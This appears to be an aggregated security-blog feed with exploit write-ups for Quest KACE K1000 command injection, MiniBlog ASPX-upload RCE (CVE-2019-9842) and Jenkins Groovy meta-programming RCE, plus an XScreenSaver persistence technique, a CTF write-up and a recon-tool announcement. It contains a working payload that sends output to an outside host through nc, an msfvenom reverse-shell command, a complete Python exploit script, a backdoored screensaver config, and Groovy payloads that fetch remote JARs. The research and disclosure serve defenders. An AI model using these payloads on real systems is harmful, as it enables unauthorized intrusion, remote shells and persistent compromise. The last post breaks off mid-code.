While having a look at the source code of the appliance, I’ve stumbled upon a naughty little file called /service/krashrpt.php which is reachable without any authentication and which sole purpose is to handle crash dump files.

When reviewing the source code, I’ve found a quite interesting reference to a bug called K1-18652, which apparently was filed to prevent a path traversal issue through the parameters kuid and name ( $values is basically a reference to all parameters supplied either via GET or POST):

try {
    // K1-18652 make sure we escape names so we don't get extra path characters to do path traversal
    $kuid = basename($values['kuid']);
    $name = basename($values['name']);
} catch( Exception $e ) {
    KBLog( "Missing URL param: " . $e->getMessage() );
    exit();
}

Later kuid and name are used to construct a zip file name:

$tmpFnBase = "krash_{$name}_{$kuid}";
$tmpDir = tempnam( KB_UPLOAD_DIR, $tmpFnBase );
unlink( $tmpDir );
$zipFn = $tmpDir . ".zip";

However, K1-18652 does not only introduce the basename call to prevent the path traversal, but also two escapeshellarg calls to prevent any arbitrary command injection through the $tmpDir and $zipFn strings:

// unzip the archive to a tmpDir, and delete the .zip file
// K1-18652 Escape the shell arguments to avoid remote execution from inputs
exec( "/usr/local/bin/unzip -d " . escapeshellarg($tmpDir) . " " . escapeshellarg($zipFn));
unlink( $zipFn );

Although escapeshellarg does not fully prevent command injections I haven’t found any working way to exploit it on the most recent version of K1000.

Using a new K1000 to exploit an old K1000

So K1-18652 addresses two potentially severe issues which have been fixed in the recent version. Out of pure curiosity, I decided to blindly try a common RCE payload against the old K1000 version assuming that the escapeshellarg calls haven’t been implemented for the kuid and name parameters in the older version at all:

POST /service/krashrpt.php HTTP/1.1
Host: redacted.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: kboxid=r8cnb8r3otq27vd14j7e0ahj24
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 37

kuid=`id | nc www.rcesecurity.com 53`

And guess what happened:

Awesome! This could afterwards be used to execute arbitrary code on all connected client systems because K1000 is an asset management system:

The KACE Systems Management Appliance (SMA) helps you accomplish these goals by automating complex administrative tasks and modernizing your unified endpoint management approach. This makes it possible for you to inventory all hardware and software, patch mission-critical applications and OS, reduce the risk of breach, and assure software license compliance. So you’re able to reduce systems management complexity and safeguard your vulnerable endpoints.

Source: Quest

Comment from the Vendor

Unfortunately, since I haven’t found any public references to the bug, the fix or an existing exploit, I’ve contacted Quest to get more details about the vulnerability and their security coordination process. Quest later told me that the fix was shipped by Dell with version 6.4 SP3 (6.4.120822), but that neither a public advisory has been published nor an explicit customer statement was made - so in other words: it was silently fixed.

#BugBountyTip

If you find a random software in use, consider investing the time to set up an instance of the software locally and try to understand how it works and search for bugs. This works for me every, single time.

Thanks, Dropbox for the nice bounty!

MiniBlog Remote Code Execution

16 March 2019 at 00:00

During a review of the MiniBlog project, a Windows based blogging package, I observed an interesting piece of functionality. With most WYSIWYG editors that support images, it’s common to see the images embedded in the markup that is generated, rather than uploaded to the web server. The images are embedded into the markup by using Data URLs in the img elements.

An example of this can be seen in the inspector of the screenshot below:

At this point, nothing looked particularly strange. However, upon saving the post and inspecting the same image again, a data URL was no longer being used:

As can be seen in the above screenshot, instead of an img element that reads:

<img src="data:image/jpeg;base64,BASE64_CONTENT">

There was an element that had a src attribute referring to a file on disk:

<img src="/posts/files/03d21a01-d1f7-4e09-a6f8-0e67f26eb50b.jpeg" alt="">

Examining the code reveals that the post is scanned for data URLs which are subsequently decoded to disk and the corresponding pieces of markup updated to point to the newly created files:

private void SaveFilesToDisk(Post post)
{
  foreach (Match match in Regex.Matches(post.Content, "(src|href)=\"(data:([^\"]+))\"(>.*?</a>)?"))
  {
    string extension = string.Empty;
    string filename = string.Empty;

    // Image
    if (match.Groups[1].Value == "src")
    {
      extension = Regex.Match(match.Value, "data:([^/]+)/([a-z]+);base64").Groups[2].Value;
    }
    // Other file type
    else
    {
      // Entire filename
      extension = Regex.Match(match.Value, "data:([^/]+)/([a-z0-9+-.]+);base64.*\">(.*)</a>").Groups[3].Value;
    }

    byte[] bytes = ConvertToBytes(match.Groups[2].Value);
    string path = Blog.SaveFileToDisk(bytes, extension);

    string value = string.Format("src=\"{0}\" alt=\"\" ", path);

    if (match.Groups[1].Value == "href")
        value = string.Format("href=\"{0}\"", path);

    Match m = Regex.Match(match.Value, "(src|href)=\"(data:([^\"]+))\"");
    post.Content = post.Content.Replace(m.Value, value);
  }
}

Due to the lack of validation in this method, it is possible to exploit it in order to upload ASPX files and gain remote code execution.

Crafting a Payload

In the SaveFilesToDisk method, there are regular expressions that extract:

  • The MIME type
  • The base64 content

As MIME types will be in the form of image/gif and image/jpeg, the software uses the latter half of the MIME type as the file extension to be used. With this in mind, we can manually exploit this by creating a new post, switching the editor to markup mode (last icon in the toolbar) and including an img element with a MIME type in the data URL that ends in aspx:

In the above screenshot, I generated the base64 data by creating an ASPX shell using msfvenom and encoding with base64:

$ msfvenom -p windows/x64/shell_reverse_tcp EXITFUNC=thread -f aspx LHOST=192.168.194.141 LPORT=4444 -o shell_no_encoding.aspx
$ base64 -w0 shell_no_encoding.aspx > shell.aspx

With netcat listening for incoming connections on port 4444, publishing this post will instantly return a shell once the browser redirects to the new post:

When examining the post that the browser redirected to after clicking the Save button, we can see that the path to the ASPX file is disclosed in the src attribute of the img element:

The same vulnerability was also identified within the Miniblog.Core project with the slight difference that the filename to be used can be specified in the data-filename attribute of the img element as opposed to using the MIME type to determine the file extension.

Disclosure Timeline

  • 2019-03-15: Vulnerability found, patch created and CVEs requested
  • 2019-03-15: Reach out to vendor to begin disclosure
  • 2019-03-16: CVE-2019-9842 and CVE-2019-9845 assigned to the MiniBlog and MiniBlog.Core vulnerabilities respectively
  • 2019-03-16: Discus with vendor and provide patch
  • 2019-03-16: Patch published to GitHub for both projects

CVSS v3 Vector

AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H/E:F/RL:O/RC:C

Proof of Concept Exploit (CVE-2019-9842)

import base64
import re
import requests
import os
import sys
import string
import random

if len(sys.argv) < 5:
    print 'Usage: python {file} [base url] [username] [password] [path to payload]'.format(file = sys.argv[0])
    sys.exit(1)

username = sys.argv[2]
password = sys.argv[3]
url = sys.argv[1]
payload_path = sys.argv[4]
extension = os.path.splitext(payload_path)[1][1:]

def random_string(length):
    return ''.join(random.choice(string.ascii_letters) for m in xrange(length))

def request_verification_code(path, cookies = {}):
    r = requests.get(url + path, cookies = cookies)
    m = re.search(r'name="?__RequestVerificationToken"?.+?value="?([a-zA-Z0-9\-_]+)"?', r.text)

    if m is None:
        print '\033[1;31;40m[!]\033[0m Failed to retrieve verification token'
        sys.exit(1)

    token = m.group(1)
    cookie_token = r.cookies.get('__RequestVerificationToken')

    return [token, cookie_token]


payload = None
with open(payload_path, 'rb') as payload_file:
    payload = base64.b64encode(payload_file.read())

# Note: login_token[1] must be sent with every request as a cookie.
login_token = request_verification_code('/views/login.cshtml?ReturnUrl=/')
print '\033[1;32;40m[+]\033[0m Retrieved login token'

login_res = requests.post(url + '/views/login.cshtml?ReturnUrl=/', allow_redirects = False, data = {
    'username': username,
    'password': password,
    '__RequestVerificationToken': login_token[0]
}, cookies = {
    '__RequestVerificationToken': login_token[1]
})

session_cookie = login_res.cookies.get('miniblog')
if session_cookie is None:
    print '\033[1;31;40m[!]\033[0m Failed to authenticate'
    sys.exit(1)

print '\033[1;32;40m[+]\033[0m Authenticated as {user}'.format(user = username)

post_token = request_verification_code('/post/new', {
    '__RequestVerificationToken': login_token[1],
    'miniblog': session_cookie
})

print '\033[1;32;40m[+]\033[0m Retrieved new post token'

post_res = requests.post(url + '/post.ashx?mode=save', data = {
    'id': random_string(16),
    'isPublished': True,
    'title': random_string(8),
    'excerpt': '',
    'content': '<img src="data:image/{ext};base64,{payload}" />'.format(ext = extension, payload = payload),
    'categories': '',
    '__RequestVerificationToken': post_token[0]
}, cookies = {
    '__RequestVerificationToken': login_token[1],
    'miniblog': session_cookie
})

post_url = post_res.text
post_res = requests.get(url + post_url, cookies = {
    '__RequestVerificationToken': login_token[1],
    'miniblog': session_cookie
})
uploaded = True
payload_url = None
m = re.search(r'img src="?(\/posts\/files\/(.+?)\.' + extension + ')"?', post_res.text)

if m is None:
    print '\033[1;31;40m[!]\033[0m Could not find the uploaded payload location'
    uploaded = False

if uploaded:
    payload_url = m.group(1)
    print '\033[1;32;40m[+]\033[0m Uploaded payload to {url}'.format(url = payload_url)

article_id = None  
m = re.search(r'article class="?post"? data\-id="?([a-zA-Z0-9\-]+)"?', post_res.text)
if m is None:
    print '\033[1;31;40m[!]\033[0m Could not determine article ID of new post. Automatic clean up is not possible.'
else:
    article_id = m.group(1)

if article_id is not None:
    m = re.search(r'name="?__RequestVerificationToken"?.+?value="?([a-zA-Z0-9\-_]+)"?', post_res.text)
    delete_token = m.group(1)
    delete_res = requests.post(url + '/post.ashx?mode=delete', data = {
        'id': article_id,
        '__RequestVerificationToken': delete_token
    }, cookies = {
        '__RequestVerificationToken': login_token[1],
        'miniblog': session_cookie
    })

    if delete_res.status_code == 200:
        print '\033[1;32;40m[+]\033[0m Deleted temporary post'
    else:
        print '\033[1;31;40m[!]\033[0m Failed to automatically cleanup temporary post'

try:
    if uploaded:
        print '\033[1;32;40m[+]\033[0m Executing payload...'
        requests.get(url + payload_url)
except:
    sys.exit()

MouseJack: From Mouse to Shell – Part 2

By: JW
10 March 2019 at 20:00
This is a continuation of Part 1 which can be found here. New/Fixed Mice Since the last blog post, I’ve done some additional testing and it looks like most of the newer wireless mice are not vulnerable to MouseJack. I tested the best-selling wireless mouse on Amazon (VicTsing MM057), Amazon’s choice (AmazonBasics), and one of...

MouseJack: From Mouse to Shell – Part 1

By: JW
4 March 2019 at 00:25
What is MouseJack? MouseJack is a class of vulnerabilities that affects the vast majority of wireless, non-Bluetooth keyboards and mice. These peripherals are ‘connected’ to a host computer using a radio transceiver, commonly a small USB dongle. Since the connection is wireless, and mouse movements and keystrokes are sent over the air, it is possible...

Updates to Chomp Scan

3 March 2019 at 16:20

Updates To Chomp Scan

I’ve been pretty busy working on updates to Chomp Scan. Currently it is at version 4.1. I’ve added new tools, an install script, a new scanning phase, a CLI mode, plus bug fixes and more.

What’s Changed

Quite a bit! Here’s a list:

New CLI

I’ve added a fully-functional CLI interface to Chomp Scan. You can select your scanning phases, wordlists, output directory, and more. See -h for help and the full range of options and flags.

Install Script

I’ve created an installation script that will install all dependencies and install Golang. It supports Debian 9, Ubuntu 18.04, and Kali. Simply run the installer.sh script, source ~/.profile, and Chomp Scan is ready to run.

New Scanning Phase

I’ve added a new scanning phase: Information Gathering. Like the others, it is optional, consisting of subjack, bfac, whatweb, wafw00f, and nikto.

New Tools: dirsearch and wafw00f

Upon request, I’ve added dirsearch to the Content Discovery phase. Currently it uses php, asp, and aspx as file extensions. I’ve also added wafw00f to the Information Gathering phase.

Output Files

There are now three total output files that result from Chomp Scan. They are all_discovered_ips.txt, all_discovered_domains.txt, and all_resolved_domains.txt. The first two are simply lists of all the unique IPs and domains that were found as a result of all the tools that Chomp Scan runs. Not all maybe relevant, as some domains may not resolve, some IPs may point to CDNs or 3rd parties, etc. They are included for completeness, and the domains especially are useful for keeping an eye on in case they become resolvable in the future.

The third output file, all_resolved_domains.txt, is new, and the most important. It contains all the domains that resolve to an IP address, courtesy of massdns. This list is now passed to the Content Discovery and Information Gathering phases. As the file only contains valid resolvable domains, false positive are reduced and scan time is shortened.

Persistent Code Execution via XScreenSaver

3 March 2019 at 00:00

After successfully gaining remote access to a host, acquiring some form of persistence is usually on the cards in case of network problems, system reboots etc. There are many ways to do this but one way I discovered recently, I thought was quite discreet in comparison to other methods (editing shell rc files, crontabs etc.).

The method I came across was to modify the configuration file of XScreenSaver, a very common screensaver package for Linux, to execute a shell. [mis]Using XScreenSaver offers a couple of benefits:

  • Users will rarely edit this file, meaning there is less chance of the shell being noticed
  • The screen is almost guaranteed to blank on a regular basis, resulting in the shell executing

To demonstrate this, I have setup a Ubuntu 18.10 host running XScreenSaver 5.42 and have a remote shell to it.

Identifying XScreenSaver Presence & Configuration

To determine if XScreenSaver is installed, The configuration file for XScreenSaver can be found in a user’s home directory and is named .xscreensaver:

meterpreter > ls -S xscreensaver
Listing: /home/rastating
========================

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100664/rw-rw-r--  8804  fil   2019-03-07 21:49:13 +0000  .xscreensaver

If the configuration file is missing, it does not mean that XScreenSaver is not available, but that the user has not configured their screensaver preferences. In which case, you can create a fresh configuration file and drop it in place.

As there are packages readily available to install it, it is possible to use the system’s package manager to verify if it is installed. For example, in Debian / Ubuntu, you can use dpkg to verify:

$ dpkg -s xscreensaver | grep -i status
Status: install ok installed

If it has been built from source, the presence of the following binaries would also suggest it is installed:

  • xscreensaver
  • xscreensaver-command
  • xscreensaver-demo
  • xscreensaver-getimage
  • xscreensaver-getimage-file
  • xscreensaver-getimage-video
  • xscreensaver-gl-helper
  • xscreensaver-text

In this case, I had selected a screensaver to use and thus the configuration file existed. Examining the configuration file reveal three key pieces of information:

  • The timeout value: how long the session must remain inactive before the screensaver is displayed
  • The mode: whether or not a single screensaver is used, or whether random screensavers are chosen each time
  • The selected screensaver

As can be seen in the below snippet of the configuration file, the timeout value is set to 0:01:00, meaning the screensaver will run after one minute of inactivity:

# XScreenSaver Preferences File
# Written by xscreensaver-demo 5.42 for rastating on Thu Mar  7 21:49:13 2019.
# https://www.jwz.org/xscreensaver/

timeout:        0:01:00
cycle:          0:10:00
lock:           False
lockTimeout:    0:00:00
passwdTimeout:  0:00:30

Moving a bit further down the file, we can see the mode setting is one which indicates that a single screensaver has been selected. We can also see the selected setting, which indicates the selected screensaver is the one found at index position 2 of the programs array. As the array starts at 0, this means that in this instance, the attraction screensaver has been selected:

mode:         one
selected:     2

textMode:     url
textLiteral:  XScreenSaver
textFile:
textProgram:  fortune
textURL:      http://feeds.feedburner.com/ubuntu-news

programs:                                                   \
              maze -root                                  \n\
- GL:         superquadrics -root                         \n\
              attraction -root                            \n\
              blitspin -root                              \n\
              greynetic -root                             \n\

Adding a Shell To The Configuration File

Looking at the programs array of the configuration file, you may have figured out that these strings aren’t just the names of the screensavers that are available, but the base commands that will be executed. In XScreenSaver, each screensaver is a separate binary that when executed will display the fullscreen screensaver.

In the configuration previously shown, when the screen blanks, it would shell out the command:

/usr/lib/xscreensaver/attraction -root

With this in mind, we can inject a command at the end of the base command in order to launch our shell alongside the screensaver. As I had a shell located in /home/rastating/.local/share/shell.elf, I modified the .xscreensaver to launch this. The previous snippet of the configuration file now looks like this:

mode:         one
selected:     2

textMode:     url
textLiteral:  XScreenSaver
textFile:
textProgram:  fortune
textURL:      http://feeds.feedburner.com/ubuntu-news

programs:                                                   \
              maze -root                                  \n\
- GL:         superquadrics -root                         \n\
              attraction -root |                            \
               (/home/rastating/.local/share/shell.elf&)  \n\
              blitspin -root                              \n\
              greynetic -root                             \n\

There are two things to note with this change. The first is that the \n\ that was at the end of the attraction line has been replaced with a single backslash. This indicates that the string is continuing onto a second line. The \n is the delimiter, and thus only appears at the end of the full command.

The second thing to note is the use of | and &, the shell is called in this way to ensure that it is launched alongside the attraction binary and that it does not halt execution by forking it into the background.

Once this change is made, XScreenSaver will automatically pick up the change, as per The Manual:

If you change a setting in the .xscreensaver file while xscreensaver is already running, it will notice this, and reload the file. (The file will be reloaded the next time the screen saver needs to take some action, such as blanking or unblanking the screen, or picking a new graphics mode.)

With this change in place, the shell will now be executed alongside the screensaver binary as can be seen in the video below:

MITRE STEM CTF: Nyanyanyan Writeup

23 February 2019 at 00:00

Upon connecting to the provided server via SSH, a Nyan Cat loop is instantly launched. There appears to be no way to escape this.

Specifying a command to be executed upon connecting via SSH results in a stream of whitespace being sent vs. the expected output.

Upon examining the animation, I was able to see some alphanumeric characters in white against the bright blue background. Within these characters, was the flag.

As the characters were too fast to be noted manually, it was necessary to redirect the outpuit of the SSH session to a file (ssh ctf@ip > nyan.txt). After doing this and inspecting the file, there is a significant amount of junk data. As the flag will only contain alphanumeric and special characters, running the following command will show only the individual characters that were displayed in white, and concatenate them together:

grep -oP "[a-zA-Z0-9.£$%^&*()_\-+=#~'@;:?><,.{}]" nyan.txt | tr '\n' ' '

Upon doing this, it is possible to see the flag within the output:

Introducing Chomp Scan

22 February 2019 at 16:20

Introducing Chomp Scan

Today I am introducing Chomp Scan, a pipeline of tools used to run various reconnaissance tools helpful for bug bounty hunting and penetration testing.

Why Chomp Scan?

The more I’ve gotten into bug bounty hunting, the more I’ve found times where managing all the different scanning tools, their flags, wordlists, and output directories becomes a chore. Recon is a vital aspect of bug hunting and penetration testing, but it’s also largely repetitive and tool-based, which makes it ripe for automation. I found I was contantly running the same tools with similar flags over and over, and frequently in the same order. That’s where Chomp Scan comes in.

I’ve written it so that all tool output is contained in a time-stamped directory, based on the target domain. This way it’s easy to go back and find certain outputs or grep for specific strings. As a pentester or bounty hunter, familiarity with your tools is essential, so I include all the flags, arguments, parameters, and wordlists that are being used with each command. If you need to make a change or tweak a flag, the code is (hopefully) commented well enough to make it easy to do.

A neat feature I’ve included is a list of words called interesting.txt. It contains a lot of words and subdomain fragments that are likely to be of interest to a pentester or bug hunter, such as test, dev, uat, internal, etc. Whenever a domain is discovered that contains one of these interesting words, it is flagged, displayed in the console, and added to a list. That list can then be focused on by later scanning stages, allowing you to identify and spend your valuable time on the most high value targets. Of course interesting.txt is customizable, so if you have a specific keyword or subdomain you’re looking for, you can add it.

Scanning Phases

Chomp Scan has 4 different phases of scanning. Each utilizes one or more tools, and can optionally be skipped for a shorter total scan runtime.

  • Subdomain Discovery (3 different sized wordlists)
  • Screenshots
  • Port Scanning
  • Content Discovery (4 different sized wordlists)

In The Future

Chomp Scan is still in active development, as I use it myself for bug hunting, so I intend to continue adding new features and tools as I come across them. New tool suggestions, feedback, and pull requests are all welcomed. Here is a short list of potential additions I’m considering:

  • A non-interactive mode, where certain defaults are selected so the scan can be run and forget
  • Adding a config file, for more granular customization of tools and parameters
  • A possible Python re-write, with a pure CLI mode (and maybe a Go re-write after that!)
  • The generation of an HTML report, similar to what aquatone provides

Tools

Chomp Scan depends on the following list of tools. Several are available in the default Kali Linux repos, and most are otherwise simple to install, especially if you already have a Go installation.

How To Get It

Visit the Chomp Scan Github repository for download and installation instructions.

alt text

alt text

alt text

alt text

Hacking Jenkins Part 2 - Abusing Meta Programming for Unauthenticated RCE!

18 February 2019 at 16:00

English Version 中文版本

嗨! 大家今天過得好嗎?

這篇文章是 Hacking Jenkins 系列的下集! 給那些還沒看過上篇文章的同學,可以訪問下面鏈結,補充一些基本知識及了解之前如何從 Jenkins 中的動態路由機制到串出各種不同的攻擊鏈!

如上篇文章所說,為了最大程度發揮漏洞的效果,想尋找一個代碼執行的漏洞可以與 ACL 繞過漏洞搭配,成為一個不用認證的遠端代碼執行! 不過在最初的嘗試中失敗了,由於動態路由機制的特性,Jenkins 在遇到一些危險操作時(如 Script Console)都會再次的檢查權限! 導致就算可以繞過最前面的 ACL 層依然無法做太多事情!

直到 Jenkins 在 2018-12-05 發佈的 Security Advisory 修復了前述我所回報的動態路由漏洞! 為了開始撰寫這份技術文章(Hacking Jenkins 系列文),我重新複習了一次當初進行代碼審查的筆記,當中對其中一個跳板(gadget)想到了一個不一樣的利用方式,因而有了這篇故事! 這也是近期我所寫過覺得比較有趣的漏洞之一,非常推薦可以仔細閱讀一下!


漏洞分析


要解釋這次的漏洞 CVE-2019-1003000 必須要從 Pipeline 開始講起! 大部分開發者會選擇 Jenkins 作為 CI/CD 伺服器的其中一個原因是因為 Jenkins 提供了一個很強大的 Pipeline 功能,使開發者可以方便的去撰寫一些 Build Script 以完成自動化的編譯、測試及發佈! 你可以想像 Pipeline 就是一個小小的微語言可以去對 Jenkins 進行操作(而實際上 Pipeline 是基於 Groovy 的一個 DSL)

為了檢查使用者所撰寫的 Pipeline Script 有沒有語法上的錯誤(Syntax Error),Jenkins 提供了一個介面給使用者檢查自己的 Pipeline! 這裡你可以想像一下,如果你是程式設計師,你要如何去完成這個功能呢? 你可以自己實現一個語法樹(AST, Abstract Syntax Tree)解析器去完成這件事,不過這太累了,最簡單的方式當然是套用現成的東西!

前面提到,Pipeline 是基於 Groovy 所實現的一個 DSL,所以 Pipeline 必定也遵守著 Groovy 的語法! 所以最簡單的方式是,只要 Groovy 可以成功解析(parse),那就代表這份 Pipeline 的語法一定是對的! Jenkins 實作檢查的程式碼約是下面這樣子:

public JSON doCheckScriptCompile(@QueryParameter String value) {
    try {
        CpsGroovyShell trusted = new CpsGroovyShellFactory(null).forTrusted().build();
        new CpsGroovyShellFactory(null).withParent(trusted).build().getClassLoader().parseClass(value);
    } catch (CompilationFailedException x) {
        return JSONArray.fromObject(CpsFlowDefinitionValidator.toCheckStatus(x).toArray());
    }
    return CpsFlowDefinitionValidator.CheckStatus.SUCCESS.asJSON();
    // Approval requirements are managed by regular stapler form validation (via doCheckScript)
}

這裡使用了 GroovyClassLoader.parseClass(…) 去完成 Groovy 語法的解析! 值得注意的是,由於這只是一個 AST 的解析,在沒有執行 execute() 的方法前,任何危險的操作是不會被執行的,例如嘗試去解析這段 Groovy 代碼會發現其實什麼事都沒發生 :(

this.class.classLoader.parseClass('''
print java.lang.Runtime.getRuntime().exec("id")
''');

從程式開發者的角度來看,Pipeline 可以操作 Jenkins 那一定很危險,因此要用嚴格的權限保護住! 但這只是一段簡單的語法錯誤檢查,而且呼叫到的地方很多,限制太嚴格的權限只會讓自己綁手綁腳的!

上面的觀點聽起來很合理,就只是一個 AST 的解析而且沒有任何 execute() 方法應該很安全,但恰巧這裡就成為了我們第一個入口點! 其實第一次看到這段代碼時,也想不出什麼利用方法就先跳過了,直到要開始撰寫技術文章重新溫習了一次,我想起了說不定 Meta-Programming 會有搞頭!


什麼是 Meta-Programming


首先我們來解釋一下什麼是 Meta-Programming!

Meta-Programming 是一種程式設計的思維! Meta-Programming 的精髓在於提供了一個抽象層次給開發者用另外一種思維去撰寫更高靈活度及更高開發效率的代碼。其實 Meta-Programming 並沒有一個很嚴謹的定義,例如使用程式語言編譯所留下的 Metadata 去動態的產生程式碼,或是把程式自身當成資料,透過編譯器(compiler)或是直譯器(interpreter)去撰寫代碼都可以被說是一種 Meta-Programming! 而其中的哲學其實非常廣泛甚至已經可以被當成程式語言的一個章節來獨立探討!

大部分的文章或是書籍在解釋 Meta-Programming 的時候通常會這樣解釋:

用程式碼(code)產生程式碼(code)

如果還是很難理解,你可以想像程式語言中的 eval(...) 其實就是一種廣義上的 Meta-Programming! 雖然不甚精確,但用這個比喻可以快速的理解 Meta-Programming! 其實就是用程式碼(eval 這個函數)去產生程式碼(eval 出來的函數)! 在程式開發上,Meta-Programming 也有著極其多的應用,例如:

  • C 語言中的 Macro
  • C++ 的 Template
  • Ruby (Ruby 本身就是一門將 Meta-Programming 發揮到極致的語言,甚至還有專門的書1, 書2)
  • Java 的 Annotation 註解
  • 各種 DSL(Domain Specific Language) 應用,例如 SinatraGradle

而當我們在談論 Meta-Programming 時,依照作用的範圍我們大致分成 (1)編譯時期(2)執行時期這兩種 Meta-Programming! 而我們今天的重點,就是在編譯時期的 Meta-Programming!

P.S. 我也不是一位 Programming Language 大師,如有不精確或者覺得教壞小朋友的地方再請多多包涵 <(_ _)>


如何利用


從前面的段落中我們發現 Jenkins 使用 parseClass(…) 去檢查語法錯誤,我們也想起了 Meta-Programming 可在編譯時期對程式碼做一些動態的操作! 設計一個編譯器(或解析器)是一件很麻煩的事情,裡面會有各種骯髒的實作或是奇怪的功能,所以一個很直覺的想法就是,是否可以透過編譯器一些副作用(Side Effect)去完成一些事情呢?

舉幾個淺顯易懂的例子,如 C 語言巨集擴展所造成的資源耗盡

#define a 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
#define b a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a
#define c b,b,b,b,b,b,b,b,b,b,b,b,b,b,b,b
#define d c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c
#define e d,d,d,d,d,d,d,d,d,d,d,d,d,d,d,d
#define f e,e,e,e,e,e,e,e,e,e,e,e,e,e,e,e
__int128 x[]={f,f,f,f,f,f,f,f};

編譯器的資源耗盡(用 18 bytes 產生 16G 的執行檔)

int main[-1u]={1};

或是用編譯器來幫你算費式數列

template<int n>
struct fib {
    static const int value = fib<n-1>::value + fib<n-2>::value;
};
template<> struct fib<0> { static const int value = 0; };
template<> struct fib<1> { static const int value = 1; };

int main() {
    int a = fib<10>::value; // 55
    int b = fib<20>::value; // 6765
    int c = fib<40>::value; // 102334155
}

從組合語言的結果可以看出這些值在編譯期間就被計算好填充進去,而不是執行期間!

$ g++ template.cpp -o template
$ objdump -M intel -d template
...
00000000000005fa <main>:
 5fa:   55                      push   rbp
 5fb:   48 89 e5                mov    rbp,rsp
 5fe:   c7 45 f4 37 00 00 00    mov    DWORD PTR [rbp-0xc],0x37
 605:   c7 45 f8 6d 1a 00 00    mov    DWORD PTR [rbp-0x8],0x1a6d
 60c:   c7 45 fc cb 7e 19 06    mov    DWORD PTR [rbp-0x4],0x6197ecb
 613:   b8 00 00 00 00          mov    eax,0x0
 618:   5d                      pop    rbp
 619:   c3                      ret
 61a:   66 0f 1f 44 00 00       nop    WORD PTR [rax+rax*1+0x0]
...

更多的例子你可以參考 StackOverflow 上的 Build a Compiler Bomb 這篇文章!


首次嘗試


回到我們的漏洞利用上,Pipeline 是基於 Groovy 上的一個 DSL 實作,而 Groovy 剛好就是一門對於 Meta-Programming 非常友善的語言! 翻閱著 Grovvy 官方的 Meta-Programming 手冊 開始尋找各種可以利用的方法! 在 2.1.9 章「測試協助」這個段落發現了 @groovy.transform.ASTTest 這個註解,仔細觀察它的敘述:

@ASTTest is a special AST transformation meant to help debugging other AST transformations or the Groovy compiler itself. It will let the developer “explore” the AST during compilation and perform assertions on the AST rather than on the result of compilation. This means that this AST transformations gives access to the AST before the bytecode is produced. @ASTTest can be placed on any annotable node and requires two parameters:

什麼! 可以在 AST 上執行一個 assertion? 這不就是我們要的嗎? 趕緊先在本地寫個 Proof-of-Concept 嘗試是否可行:

this.class.classLoader.parseClass('''
@groovy.transform.ASTTest(value={
    assert java.lang.Runtime.getRuntime().exec("touch pwned")
})
def x
''');
$ ls
poc.groovy

$ groovy poc.groovy
$ ls
poc.groovy  pwned

幹,可以欸! 但代誌並不是憨人想的那麼簡單! 嘗試在遠端 Jenkins 重現時,出現了:

unable to resolve class org.jenkinsci.plugins.workflow.libs.Library

真是黑人問號,森77,這到底是三小啦!!!

認真追了一下 root cause 才發現是 Pipeline Shared Groovy Libraries Plugin 這個插件在作怪! 為了方便使用者可重複使用在編寫 Pipeline 常用到的功能,Jenkins 提供了這個插件可在 Pipeline 中引入自定義的函式庫! Jenkins 會在所有 Pipeline 執行前引入這個函式庫,而在編譯時期的 classPath 中並沒有相對應的函式庫因而導致了這個錯誤!

想解決這個問題很簡單,到 Jenkins Plugin Manager 中將 Pipeline Shared Groovy Libraries Plugin 移除即可解決這個問題並執行任意代碼!

不過這絕對不是最佳解! 這個插件會隨著 Pipeline 被自動安裝,為了要成功利用這個漏洞還得先要求管理員把它移除實在太蠢了! 因此這條路只能先打住,繼續尋找下一個方法!


再次嘗試


繼續閱讀 Groovy Meta-Programming 手冊,我們發現了另一個有趣的註解 @Grab,關於 @Grab 手冊中並沒有詳細的描述,但使用 Google 我們發現了另一篇文章 - Dependency management with Grape!

原來 Grape(@Grab) 是一個 Groovy 內建的動態 JAR 相依性管理程式! 可讓開發者動態的引入不在 classPath 上的函式庫! Grape 的語法如下:

@Grab(group='org.springframework', module='spring-orm', version='3.2.5.RELEASE')
import org.springframework.jdbc.core.JdbcTemplate

配合 @grab 的註解,可讓 Groovy 在編譯時期自動引入不存在於 classPath 中的 JAR 檔! 但如果你的目的只是要在一個有執行 Pipeline 權限的帳號上繞過原有 Pipeline 的 Sandbox 的話,這其實就足夠了! 例如你可以參考 @adamyordan 所提供的 PoC,在已知使用者帳號與密碼及權限足夠的情況下,達到遠端代碼執行的效果!

但在沒有帳號密碼及 execute() 的方法下,這只是一個簡單的語法樹解析器,你甚至無法控制遠端伺服器上的檔案,所以該怎麼辦呢? 我們繼續研究下去,並發現了一個很有趣的註解叫做 @GrabResolver,用法如下:

@GrabResolver(name='restlet', root='http://maven.restlet.org/')
@Grab(group='org.restlet', module='org.restlet', version='1.1.6')
import org.restlet

看到這個,聰明的你應該會很想把 root 改成惡意網址對吧! 我們來試試會怎麼樣吧!

this.class.classLoader.parseClass('''
@GrabResolver(name='restlet', root='http://orange.tw/')
@Grab(group='org.restlet', module='org.restlet', version='1.1.6')
import org.restlet
''')
11.22.33.44 - - [18/Dec/2018:18:56:54 +0800] "HEAD /org/restlet/org.restlet/1.1.6/org.restlet-1.1.6-javadoc.jar HTTP/1.1" 404 185 "-" "Apache Ivy/2.4.0"

喔幹,真的會來存取欸! 到這裡我們已經確信了透過 Grape 可以讓 Jenkins 引入惡意的函式庫! 但下一個問題是,要如何執行代碼呢?


如何執行任意代碼?


在漏洞的利用中總是在研究如何從簡單的任意讀、任意寫到取得系統執行的權限! 從前面的例子中,我們已經可以透過 Grape 去寫入惡意的 JAR 檔到遠端伺服器,但要怎麼執行這個 JAR 檔呢? 這又是另一個問題!

跟進 Groovy 語言核心查看對於 Grape 的實作,我們知道網路層的抓取是透過 groovy.grape.GrapeIvy 這個類別來完成! 所以開始尋找實作中是否有任何可以執行代碼的機會! 其中,我們看到了一個有趣的方法 - processOtherServices(…):

void processOtherServices(ClassLoader loader, File f) {
    try {
        ZipFile zf = new ZipFile(f)
